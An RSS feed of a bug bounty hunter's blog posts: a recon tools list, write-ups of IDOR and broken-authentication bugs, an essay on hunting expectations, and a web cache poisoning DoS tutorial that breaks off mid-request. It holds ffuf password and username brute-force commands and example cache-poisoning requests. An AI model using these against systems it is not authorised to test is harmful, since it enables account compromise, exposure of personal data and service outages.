<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anas H Hmaidy on Medium]]></title>
        <description><![CDATA[Stories by Anas H Hmaidy on Medium]]></description>
        <link>https://medium.com/@anasbetis023?source=rss-f3967c63d771------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-tPU-op552PpmD3ZRijx8Q.jpeg</url>
            <title>Stories by Anas H Hmaidy on Medium</title>
            <link>https://medium.com/@anasbetis023?source=rss-f3967c63d771------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 12:49:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anasbetis023/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Random Notes on Bug Bounty Tools That Actually Work]]></title>
            <link>https://anasbetis023.medium.com/random-notes-on-bug-bounty-tools-that-actually-work-a25bdc3fa920?source=rss-f3967c63d771------2</link>
            <guid isPermaLink="false">https://medium.com/p/a25bdc3fa920</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugbounty-tips]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Anas H Hmaidy]]></dc:creator>
            <pubDate>Sat, 05 Sep 2026 07:22:01 GMT</pubDate>
            <atom:updated>2026-09-05T07:25:45.650Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone!</p><p>I hope you’re having a good day. Long time no write — well, with the rise of AI we’ve nearly forgotten how to read and write like back in the old days.</p><p>We’re just using AI for everything. Anyway, I’m not going to speak very deep tech here, it’s going to be just a few thoughts about tools I heavily use every day in my Bug Bounty workflows. I want to share some of them which I found — very nice — to have. Most of the tools I’m going to speak about are simple, but efficient and going to save you a lot of time I think. The list is randomly ordered, I’ll just put whatever comes to my mind.</p><p>You can Read here as well <a href="https://anashamidi.com/posts/bug-bounty-tools-that-actually-work/">https://anashamidi.com/posts/bug-bounty-tools-that-actually-work/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wtCZ94Cl12LKyd0Pod08Ug.jpeg" /></figure><h4>httpx from ProjectDiscovery</h4><p>This is not just a <a href="https://github.com/projectdiscovery/httpx">tool</a> to detect live domains, instead it’s a built-in browser in your terminal. With the right options and flags it can give you a lot of information about a domain without even clicking it in the browser. For example use:</p><pre>cat subdomains.txt | httpx -sc -title -cname -td -ct -fc 404</pre><ul><li>`-sc` shows the response status code for each domain</li><li>`-title` gives you the title of the page, which can tell you a lot (a title with “admin” or “register” will catch your eyes fast)</li><li>`-cname` does the domain have a CNAME record?</li><li>`-td` fingerprints the technology in use (WordPress, Tomcat, React, etc.) so you can look for common CVEs</li><li>`-ct` shows the response content-type, for example if it’s `application/json` this is probably a good hint that the server is an API surface</li><li>`-fc` filters out response status codes you don’t want</li></ul><p>A result line ends up looking like:</p><pre>https://old.target.com [200] [Legacy Admin Portal] [text/html] [old-target.herokudns.com] [Apache,PHP]</pre><h4><strong>Install</strong></h4><pre>go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest</pre><p>— — — — —</p><h4>Notify from ProjectDiscovery</h4><p>This <a href="https://github.com/projectdiscovery/notify">tool</a> can help you stream your output into push notifications to a lot of apps like Slack, Discord and Telegram. Personally I use Telegram. It can be very useful for your monitoring scripts running 24H on your VPS.</p><p>You only need to create a Telegram Bot and edit the file `.config/notify/provider-config.yaml` with your `telegram_api_key` and `telegram_chat_id`.</p><pre>assetfinder --subs-only example.com | notify -p telegram -silent</pre><h4><strong>Install</strong></h4><pre>go install -v github.com/projectdiscovery/notify/cmd/notify@latest</pre><p>— — — — —</p><h4>anew from Tomnomnom</h4><p>I would highly recommend checking out all the <a href="https://github.com/tomnomnom/anew">tools</a> made by Tomnomnom. `anew` is one of the simplest but a good tool. It does one very small thing: it reads lines from stdin, and for each line, if that line isn’t already in a target file, it appends it there and prints it to stdout. If the line already exists in the file, it’s silently skipped — no duplicate written, nothing printed. For example:</p><pre><br>$ cat subs.txt<br>api.target.com<br>www.target.com<br><br>$ subfinder -d target.com -silent | anew subs.txt<br>dev.target.com</pre><p>Only <em>dev.target.com</em> gets printed and appended — the other two were already in the file, so they’re skipped entirely. This is great for your monitoring script with `notify`, because it prints just the new lines, so you can pipe that straight into `notify` and get pinged only when something actually changed.</p><pre>assetfinder --subs-only example.com | httpx | anew liveSubdomains.txt | notify -p telegram -silent</pre><p>— — — — —</p><h4>Param Miner (Burp Suite extension)</h4><p>I would say that every request you test <strong>MUST</strong> go through Param Miner. This tool can fuzz parameters, headers, cookies and body params. It can also help you find Web Cache bugs, SSRF and DoS. Personally, I’ve been able to find many bugs starting with Param Miner. You can discover more here: <a href="https://github.com/PortSwigger/param-miner">https://github.com/PortSwigger/param-miner</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BkpD1D55lbs4S4oUhBObsw.jpeg" /></figure><p>— — — — —</p><h4><a href="https://github.com/hakluke/hakrawler">Hakrawler</a> — Web Crawling</h4><p>Or any tool that can help you crawl the target fast and walk through the site structure. You can also use `<a href="https://github.com/projectdiscovery/katana">katana</a>` from ProjectDiscovery as well, it has plenty of options there.</p><h4><strong>Install</strong></h4><pre>go install github.com/hakluke/hakrawler@latest</pre><p>— — — — —</p><h4>Output filter tools (jq, cut, awk)</h4><p>These will make your workflow a bit faster and easier. If you don’t know at least how to grep a specific pattern using `cut` on some output, you have to go back to command line basics. `jq` is for JSON output. I would call them “in-between tools” — every pipeline step will need its own custom filter or parsing flag.</p><p>— — — — —</p><h4>GitHub Reconnaissance</h4><p><a href="https://github.com/gwen001/github-subdomains">github-subdomains</a> — looks for all subdomains in GitHub public code for a specific target:</p><pre>go install github.com/gwen001/github-subdomains@latest</pre><p>github-<a href="https://github.com/gwen001/github-endpoints">endpoints</a> — looks for all URLs/endpoints in GitHub public code for a specific target:</p><pre>go install github.com/gwen001/github-endpoints</pre><p>Both tools need a GitHub Personal Access Token in the config file.</p><p>— — — — —</p><h3>Final Recon Tips</h3><p>For some recon tips, I’d say don’t stick just to GitHub. There are a lot of websites that are worth looking into, for example <em>GitLab, DockerHub, Postman workspaces, Replit, Bitbucket, Pastebin and et</em>c</p><p>Try them all and do your recon and research twice before moving on. Remember, it’s always about consistency and the bugs will come sooner or later. I just wanted to share what came to my mind in this article, so I hope you liked it guys.</p><p>Don’t forget to follow me and leave a clap (You can do it up to 50 times!) Thanks for reading.</p><p>Read more: anashamidi.com/posts</p><p>LinkedIn: <a href="https://www.linkedin.com/in/anas-hmaidy">anas_hmaidy</a></p><p>Twitter : <a href="https://www.google.https//twitter.com/anasbetis023">anasbetis023</a></p><p>Join my telegram channel: <a href="https://t.me/anas_hmaidy">anas_hmaidy</a></p><p>Buy me a coffee : <a href="https://buymeacoffee.com/anshmaidy2k">anas_hmaidy</a></p><p><strong>Cheers :)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a25bdc3fa920" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Be Patient and Keep it Simple, The Bug is There]]></title>
            <link>https://anasbetis023.medium.com/be-patient-and-keep-it-simple-the-bug-is-there-bdc93cfe50c6?source=rss-f3967c63d771------2</link>
            <guid isPermaLink="false">https://medium.com/p/bdc93cfe50c6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Anas H Hmaidy]]></dc:creator>
            <pubDate>Sat, 02 Aug 2025 15:03:37 GMT</pubDate>
            <atom:updated>2025-08-02T15:03:37.443Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2I96jzOEieIXsw4lPHuyNw.png" /></figure><p>Good Day!</p><p>I hope you are doing well. Long time not writing anything… right? Well I am back again with two finding I have discoverd recently at some private program at Hackerone. I hope at the end you will going to learn something new :)</p><p>الحمدلله و الصلاة و السلام على سيدنا محمد</p><p>اللهم انصر اخواننا في فلسطين</p><p>In fact the bugs I am going to talk about not that much of complexity, the first bug is actually a simple IDOR with a High impact, but don’t worry… I am not here to explain the IDOR. We are all know what the IDOR is and sick of it. I am here to tell you the secret -as I think- that leads me to find that High impact IDOR bug.</p><p>The bug is at the main domain <a href="http://www.target.com/users/settings/sso">www.target.com/users/settings/sso</a> that allow users to setup their own SSO via Saml method. However, I have discovered that by just adding the parameter <strong>account_id</strong> to the url above I will be able to edit the SSO settings to other users!!</p><blockquote><em>I am redacting alot of things in order not to disclose anything</em></blockquote><p>I asked my self, the bug is simple and exist at the main domain, why no one did find it? Well I think the answer is the <strong>Show Credentials </strong>Button in the Hackerone at the program page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*hj1FMe1W7J-znzTIV3sUdg.png" /></figure><p>Sometimes programs provides the hacker with some credentials for testing. I don’t think all the hackers will claimed that creds!! In my case , I took the creds , and I noticed that you can ask for a further privileges, all you have to do is providing your account username to the program. I sent my username to the program, and after 2 weeks I got that privileges. Here where the page <a href="http://www.target.com/users/settings/sso">www.target.com/users/settings/sso</a> appeared to me!</p><h4><strong>Lesson Learned</strong></h4><p>Don’t hesitate taking the Credentials<strong> </strong>and<strong> </strong>don’t you ever ignore any<strong> </strong>form of asking the program for some account<strong> </strong>privileges, fill it out and wait for it. Believe me, here come the gold mine of bugs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YBGuKF3VkBK3P0NHll2Szg.jpeg" /><figcaption>Just a meme</figcaption></figure><p>The second bug came after reading the docs at help.traget.com and did a bit of fuzzing , then reported it and triaged as High impact.</p><p>I have read at the website documentation that I can show the users that belongs to me through this api : target.com/api/users/allusers</p><p>But it order to work, it needs to provide some parameters: <em>username</em>, <em>password</em> and <em>usersCount</em></p><p>This is very interesting…because the endpoint has no Rate Limiting and here I thought of two attacks cases.</p><p><strong>Case 1</strong></p><p>Use <a href="https://github.com/ffuf/ffuf">fuff</a> tool to fuzz the password of the user anasbetis for example.</p><blockquote>ffuf -u http://<a href="https://medium.com/target.com/api/users/allusers">target.com</a>/api/users/allusers?username=anasbetis&amp;password=FUZZ&amp;userscount=10 -w passwords.txt</blockquote><p><strong>Case 2</strong></p><p>Use <a href="https://github.com/ffuf/ffuf">fuff</a> tool to get all the usernames that have the password 00000000 for example.</p><blockquote>ffuf -u http://<a href="https://medium.com/target.com/api/users/allusers">target.com</a>/api/users/allusers?username=FUZZ&amp;password=00000000&amp;userscount=10 -w usernames.txt</blockquote><p>and here comes the magic, after I run the above command , I got a lot of valid usernames that have the password 00000000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*tG4H03hPZJJEksVnLPrMEg.png" /></figure><p>I was able to show their users and got sensitive information like emails and phones. But that is impossible that all of these users have the password 00000000!!!!</p><p>After some searching. It turns out that the server is failing to check the password parameter for some users :) and with that ffuf command I was able to reveal it.</p><p>A bit of searching in the docs, I discovered two other endpoints</p><blockquote>target.com/api/users/updateusers</blockquote><blockquote>target.com/api/users/deleteusers</blockquote><p>That means that I can Show/Edit/Delete Users. I reported it, and alhamdullilah it was triaged the next day as a High impact bug.</p><h4>Lesson Learned</h4><p>Just by following the docs sometimes will show us very information that we could turn into high impact bugs. Don’t you ever ignore the instruction or documentation provided by the website, it may reveal some gold mine endpoints that no one ever touch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*vRWzrKbp72R8ivj5E9BcRQ.png" /></figure><p>I hope you liked it. Yes there are simple bugs, but with a high impacts. Sometimes you just need to relax and do what the app says, and when you find the interesting point then try to break it.</p><p>Don’t forget to follow me and leave a clap (You can do it up to 50 times!)</p><p>You can also enjoy my previous writeups.</p><p>Thanks for reading.</p><p>LinkedIn: <a href="https://www.linkedin.com/in/anas-hmaidy">anas_hmaidy</a></p><p>Twitter : <a href="https://www.google.https//twitter.com/anasbetis023">anasbetis023</a></p><p>Join my telegram channel: <a href="https://t.me/anas_hmaidy">anas_hmaidy</a></p><p>Buy me a coffee : <a href="http://www.buymeacoffee.com/anasbetis94">anas_hmaidy</a></p><p><strong>Cheers :)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bdc93cfe50c6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting for Hidden API Endpoints Using Katana and Hakrawler]]></title>
            <link>https://anasbetis023.medium.com/hunting-for-hidden-api-endpoints-using-katana-and-hakraler-ba0bd6b9611f?source=rss-f3967c63d771------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba0bd6b9611f</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Anas H Hmaidy]]></dc:creator>
            <pubDate>Mon, 09 Sep 2024 13:57:17 GMT</pubDate>
            <atom:updated>2025-03-29T09:22:31.124Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ki-cths3K45iP_W4VWUyA.jpeg" /></figure><p>Good day!</p><p>I hope you are doing well. In bug bounty, don’t ever say: <em>This idea is silly to try; I’m not going to do it because the result will be nothing.</em></p><p>I mean, if you look at bug bounty hunting, you are really doing black-box testing, so you must play around and miss your target until you find something to report.</p><p>الحمدلله و الصلاة و السلام على سيدنا محمد</p><p>اللهم انصر اخواننا في فلسطين</p><p>The target I am hunting has already several bugs that I found and reported before. I used to think to myself, “I know everything about this website. If something new appears, I will know it.”</p><p>After watching <a href="https://youtu.be/vFk0XtHfuSg?si=gZstqNVYC2DO3NmU">Hussein Daher’s talk</a>, he said that he heavily relies on <a href="https://github.com/projectdiscovery/katana"><strong>Katana</strong></a> to crawl the website.</p><blockquote>Web crawling, in the context of bug bounty refers to the process of automatically navigating through a website’s structure to discover various resources such as web pages, files and scripts. This is done by following links and examining directories to create a map of a website’s content.</blockquote><p>I was initially refusing to use it in the program I was hunting on because I thought to myself, “It will be useless since I know all the URLs; there will be nothing new.”</p><p>But I decided, Ok, let’s give it a try. I used katana and an awesome tool called <a href="https://github.com/hakluke/hakrawler"><strong>hakrawler</strong></a> from <strong>hakluke</strong>.</p><p>By getting the archive URLs first:</p><pre>echo &quot;http://target.com&quot; | waybackurls | anew urls.txt</pre><p>Here I had about 71,000 URLs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*5CZ7YVdoisuQXlHZkXoj4w.png" /></figure><p>Then by running all the URLs on katana and also hakrawler:</p><pre>cat urls.txt | katana | hakrawler -d 3 | anew katana.txt</pre><p>katana tool has alot of good options, but I am new to it so I decided to run it as it is.</p><p>the <strong>-d</strong> option in hakrawler command tells the Depth to crawl [Default is 2].</p><p>I left it running for about two days. I got 41,000 URLs in katana.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*b73eurpqfH-IJmJfH3SOuw.png" /></figure><p>A lot of those URLs were unique in the paths but not in the subdomains. For example:</p><pre>https://sub1.target.com/account<br>https://sub2.target.com/account</pre><p>So, I wanted to get unique paths only. By using the <a href="https://github.com/tomnomnom/unfurl"><strong>unfurl</strong></a> from Tomnomnom, we can filter the paths only:</p><pre>cat katana.txt urls.txt | unfurl format %p | anew paths.txt</pre><p>I got around 5,500 unique paths.</p><p>With the unfurl tool, you can also extract the subdomains. So I extracted the unique ones:</p><pre>cat katana.txt urls.txt | unfurl format %d | anew subs.txt</pre><p>While checking paths.txt, which contains only the unique paths, I initially found nothing new! All the paths were old to me , but wait… I was wrong.</p><p>There was one path that caught my eyes, which I hadn’t seen before! Guess what the path was? It was <em>/HelpApi/</em></p><p>Opening this path in the main domain target.com/HelpApi/, I was able to get the documentation for the APIs on the website!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*0Q6op1ga_-tN3WrmVCC19A.jpeg" /></figure><p>Now I had a lot to explore. I found an interesting endpoint:</p><pre>/account/subscribe?groupId=123</pre><p>I could smell an IDOR bug here. Hitting the request above returned the users in group ID 123. By changing the group ID parameter, I was able to access the information of users in other groups. The information included email addresses, roles, phone numbers, and other private data.</p><p>I reported it as a PII (Personally Identifiable Information) disclosure, and alhamdulillah, it was triaged the next day, fixed, and I was rewarded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*q9HbhStWwgSmA7rUpoE0wA.jpeg" /><figcaption>Just a meme.</figcaption></figure><p>I hope you liked it. Yes it’s a simple bug, but it came after a couple of days of recon. Also huge thanks to <a href="https://x.com/HusseiN98D">Hussien Daher</a> for his last talk. I really recommend you guys to watch it!</p><p>Don’t forget to follow me and leave a clap (You can do it up to 50 times!) Thanks for reading.</p><p>LinkedIn: <a href="https://www.linkedin.com/in/anas-hmaidy">anas_hmaidy</a></p><p>Twitter : <a href="https://www.google.https//twitter.com/anasbetis023">anasbetis023</a></p><p>Join my telegram channel: <a href="https://t.me/anas_hmaidy">anas_hmaidy</a></p><p>Buy me a coffee : <a href="http://www.buymeacoffee.com/anasbetis94">anas_hmaidy</a></p><p><strong>Cheers :)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba0bd6b9611f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How easy I made $$$$]]></title>
            <link>https://anasbetis023.medium.com/how-easy-i-made-24edb0fd1364?source=rss-f3967c63d771------2</link>
            <guid isPermaLink="false">https://medium.com/p/24edb0fd1364</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Anas H Hmaidy]]></dc:creator>
            <pubDate>Tue, 23 Apr 2024 09:33:28 GMT</pubDate>
            <atom:updated>2024-04-23T09:33:28.800Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WPfpv_M20zhj9qNkuIMCug.jpeg" /></figure><p><strong>Good morning!</strong></p><p>I hope you’re doing well. Thank you for joining me today. Probably you’re here because of the attractive title.I mean who doesn’t want to make easy money in just a couple of hours every day? Especially if you live in the Middle East, India, or Africa. A reward with three or four digits can really make a difference.</p><p>However, I’m here to tell you that I didn’t earn any easy money sadly. I wanted to talk about something I’ve been thinking about a lot in the past few weeks.</p><p>I see a lot of write-ups about some bug hunters posting stuff like “How easy I earned 1000$” or “RCE in 30 min” and a lot of these titles. Eight months ago, when I was just starting out, these kinds of blogs were really discouraging. I thought, “Here I am, hunting every day for nothing, and other people are just getting money left and right?”</p><p>Unfortunately. These types of posts are very bad to new bug hunters. They make readers feel like it’s an easy thing, and then when they try bug hunting themselves, they only find duplicate bugs and get discouraged, thinking they’re failures.</p><p>Recently, I decided to stop reading and following these kinds of articles for several reasons. First, I don’t always know if the writer is truly honest. I’ll only read them if the hunter is well-known within the bug hunting community. Second, am I really going to learn anything new from these articles? Most likely not. I’m probably just going to read a made up story from someone I don’t know.</p><p>I recently found a path traversal vulnerability with just 30 minutes of GitHub dorking on a specific domain. I could have easily posted it with a title like “An Easy High Bug in 30 Minutes,” right? But here’s what I wouldn’t tell you: it took me six days of reconnaissance and subdomain gathering to land on the specific scope where I decided to dork. Now the story makes sense.</p><p>A great story by <a href="http://shreyaschavhan.notion.site/">Shreyas Chavhan</a> details how he made $15,000 in his first eight months of bug hunting. He shared that he spent a total of 636 hours to achieve those results. However, in the first 582 hours of his work, he only made $1,300 out of the $15,000. But at the end by persistence he did what he wanted. Success in bug hunting follows an exponential distribution, but people want it to be linear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*2LJT9r7Db58otPMLN3AG1A.jpeg" /></figure><p>Another point I want to address is staying updated on the latest news and trends. I decided to follow bug bounty hunters on Twitter, but all I saw were people posting useless things like, “I got a reward from HackerOne!” or “I reported a bug in under 15 minutes!” I remember once checking the #bugbountytips hashtag on Twitter. The tips were like “Spend more time on your target” or “Read all the JS files.” Seriously? I wish there was a filter button to hide these kinds of posts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*LroBZqeE55MZR9hE3ggnUw.jpeg" /></figure><p>The best platform I’ve found is actually Reddit and some Telegram channels. There are some communities that only share valuable content like <a href="https://www.reddit.com/r/websecurityresearch/">websecurityresearch</a> and <a href="https://www.reddit.com/r/netsec/">netsec</a> . LinkedIn is also a good option, but you have to be selective about the posts you follow. Finally, <a href="https://www.criticalthinkingpodcast.io/">CTBBP</a> is a great resource. The guys have discussions about new things every week.</p><p>At the end, I am not the best to give advice. Follow people like Jhadix, <a href="https://github.com/hakluke/hakrawler">hakluke</a>,z<a href="https://www.bugbountyhunter.com/methodology/">seano</a>,Nhamsec, Ebrahem Hegazy ,Frans Rosen,Orange,albinowax and more…</p><p>I hope this post provides a more realistic picture of what to expect when starting out as a bug hunter. It’s hard work, and continuous learning. I hope you like it. Don’t forget to follow me and leave a clap (You can do it up to 50 times!) Thanks for reading.</p><p>LinkedIn: <a href="https://www.linkedin.com/in/anas-hmaidy">anas_hmaidy</a></p><p>Twitter : <a href="https://www.google.https//twitter.com/anasbetis023">anasbetis023</a></p><p>Join my telegram channel: <a href="https://t.me/anas_hmaidy">anas_hmaidy</a></p><p>Buy me a coffee : <a href="http://www.buymeacoffee.com/anasbetis94">anas_hmaidy</a></p><p><strong>Bay :)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24edb0fd1364" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Don’t Trust the Cache: Exposing Web Cache Poisoning and Deception vulnerabilities]]></title>
            <link>https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52?source=rss-f3967c63d771------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a829f221f52</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Anas H Hmaidy]]></dc:creator>
            <pubDate>Fri, 05 Apr 2024 16:49:04 GMT</pubDate>
            <atom:updated>2024-04-05T16:49:04.776Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B4zPDhAnu3f6oEiYpBMO-g.jpeg" /></figure><p>Good Day!</p><p>I hope you are doing well. I have been studying the vulnerabilities related to the web cache .So I will share with you a shortcut of all the different techniques that I have seen so far. I’ll assume you have a basic understanding of web caching concepts.</p><p>الحمدلله و الصلاة و السلام على رسول الله</p><p>Obviously, the cache itself isn’t a vulnerability. What makes web applications vulnerable to web cache attacks is either chaining them with other bugs (most likely XSS) or taking advantage of misconfigurations to launch a Denial-of-Service (DoS) attack on the website.</p><p><strong>Poisoning and Deception: Web Cache vulnerabilities</strong> <strong>Explained</strong></p><p>Let’s start with web cache poisoning. The key to basic Web Cache Poisoning (WCP) is to manipulate a value that is <strong>not</strong> included in the cache key. Anything <strong>excluded</strong> from the cache key becomes part of our attack surface.</p><p>Before diving into different techniques, we need to understand how our target web application implements its caching configuration. This involves identifying which headers, parameters, and HTTP methods are actually included in the cache key and which are not. I will categorize the attacks into two main types:</p><p><strong>Web Cache Poising DoS</strong></p><p><strong>Web Cache Poising With harmful Payloads</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JO8KDFrktMhU5O6FaTxs3Q.png" /><figcaption><a href="https://blogdetectify.cdn.triggerfish.cloud/uploads/2020/07/03170240/web_cache_poisoning.png">https://blogdetectify.cdn.triggerfish.cloud/uploads/2020/07/03170240/web_cache_poisoning.png</a></figcaption></figure><h4>Web Cache Poising DoS</h4><ol><li><strong>HTTP Header Oversize (HHO)</strong><br>The Goal here is to send a request with large Header size.However, the key factor here that the cache must accept larger header size than the origin server. So we can send a HTTP GET request with a header larger than the size supported by the origin server but smaller than the size supported by the cache server. The cache will proceed the request to the server normally but the origin server will return some status error code causing the cache server caching that error for the Original Request!</li></ol><pre>GET / HTTP/1.1<br>Host: redacted.com<br>X-Oversize-Hedear:Big-Value-000000000000000<br><br><br>HTTP/1.1 400 Bad Request<br>Cache:hit<br><br>Big Header Size</pre><p>here we poisoned the request “GET / HTTP/1.1” with a bad request status page.</p><p>2. <strong>HTTP Meta Character (HMC)</strong><br>Instead of sending a large header. Here we send a header that contain some harmfull meta characters such as \n and \r. In order the attack to work you must bypass the cache first.</p><pre>GET / HTTP/1.1<br>Host: redacted.com<br>X-Meta-Hedear:Bad Chars\n \r<br><br>HTTP/1.1 400 Bad Request<br>Cache:hit<br><br>Chars Not Allowed</pre><p>3. <strong>HTTP Method Override Attack (HMO)</strong><br>This attacks take advantage of some header supported by the web server such as X-HTTP-Method-Override, X-HTTP-Method or X-Method-Override. If the web server is vulnerable and allows HTTP method overriding, it processes the request based on the value provided in the override header instead of the original method.</p><pre>GET /blogs HTTP/1.1<br>Host: redacted.com<br>HTTP-Method-Override: POST<br><br><br>HTTP/1.1 404 Not Found<br>Cache:hit<br><br>Post Blogs Not Found</pre><p>4.<strong> Unkeyed Port</strong><br>This attack happened when the port in the Host header is reflected in the response and not included in the cache key.</p><pre>GET /index.html HTTP/1.1<br>Host: redacted.com:1<br><br>HTTP/1.1 301 Moved Permanently<br>Location: https://redacted.com:1/en/index.html<br>Cache: miss</pre><p>So if we hit the cache with previous response. Any request to /index.html will end up redirected to a dead port <a href="https://redacted.com:1/index.html">https://redacted.com:1/index.html</a> and then simply the browser will time out effectively preventing them from accessing the intended resource.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*oGHVQr1OtCIR1U1hI7oTVg.jpeg" /><figcaption>Take a Break</figcaption></figure><p>5.<strong>Redirect DoS</strong><br>As with many of the web cache poisoning vulnerabilities highlighted by James Kettle in his research. But this is my favorite one because this happened to cloudflare login page.<br>In the previous techniques we discovered an unkeyed port. But what if we discovered that the <strong>query string</strong> is not in the cache key. Consider the request:</p><pre>GET /login?x=abc HTTP/1.1<br>Host: www.cloudflare.com<br><br>HTTP/1.1 301 Moved Permanently<br>Location: /login/?x=abc</pre><p>Here the ?x=abc is not part of the cache key. We can take advantage of that by sending a very long query string.</p><pre>GET /login?x=veryLongUrl HTTP/1.1<br>Host: www.cloudflare.com<br><br>HTTP/1.1 301 Moved Permanently<br>Location: /login/?x=veryLongUrl<br>Cache: hit</pre><p>Now in the process of following the redirect</p><pre>GET /login/?x=veryLongUrl HTTP/1.1<br>Host: www.cloudflare.com<br><br>HTTP/1.1 414 Request-URI Too Large<br>CF-Cache-Status: miss</pre><p>Here the poison has done to the [ GET /login] page with a [GET /login?x=veryLongUrl ] which will end with some error status page.</p><h4>6. Unkeyed Header</h4><p>Some websites will return an error status code if they see some headers in the request. A while ago I found on a well known website it will return 403 forbidden status if the request has the header <em>X-Amz-Website-Location-Redirect: someThing</em>. This attacks works on all of the website static pages.</p><pre>GET /app.js HTTP/2<br>Host: redacted.com<br>X-Amz-Website-Location-Redirect: someThing<br><br>HTTP/2 403 Forbidden<br>Cache: hit<br><br>Invalid Header</pre><p>Now any user requests the /app.js will end up receiving the 403 page. I reported this and after two weeks they closed it as Out Of Scope DoS :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*EbqeQekZqrPU_cZmTV2lCQ.jpeg" /><figcaption>Hide the Pain</figcaption></figure><h4>7. Host Header case normalization</h4><p>One of the attacks I saw from youst blog post is that the host header should always be case insensitive but some websites will lowercase the host header leading to potential DoS.</p><pre>GET /img.png HTTP/1.1<br>Host: Cdn.redacted.com<br><br>HTTP/1.1 404 Not Found<br>Cache:miss<br><br>Not Found</pre><p>The capital letter in the host header (Cdn.redacted.com) is causing the error code which will end up blocking the request.</p><h4>8.Path Normalization</h4><p>I didn’t understand that well. But let’s considered this request.</p><pre>GET /api/v1.1/user HTTP/1.1<br>Host: redacted.com<br><br>HTTP/1.1 200 OK</pre><p>If we do some url encode it might causing the server to generate some error code. Like encode the [.] with %2e</p><pre>GET /api/v1%2e1/user HTTP/1.1<br>Host: redacted.com<br><br><br>HTTP/1.1 404 Not Found<br>Cach:miss<br><br>Not Found</pre><h4>9.Invalid Headers CP-DoS</h4><p>This techniques is from youst writeup as well I will share it down. The researcher observed that by sending a request to github repository with invalid content-type value will end up with some error status code.</p><pre>GET /anas/repos HTTP/2<br>Host: redacted.com<br>Content-Type: HelloWorld<br><br><br>HTTP/2 406 Not Acceptable<br>Cach:miss</pre><h4>10.HTTP Request Spliting</h4><p>The last WCPDoS is from Sergy Bobrov. We can take advantage of CRLF injection to trick the cache to caching some error pages</p><pre>GET 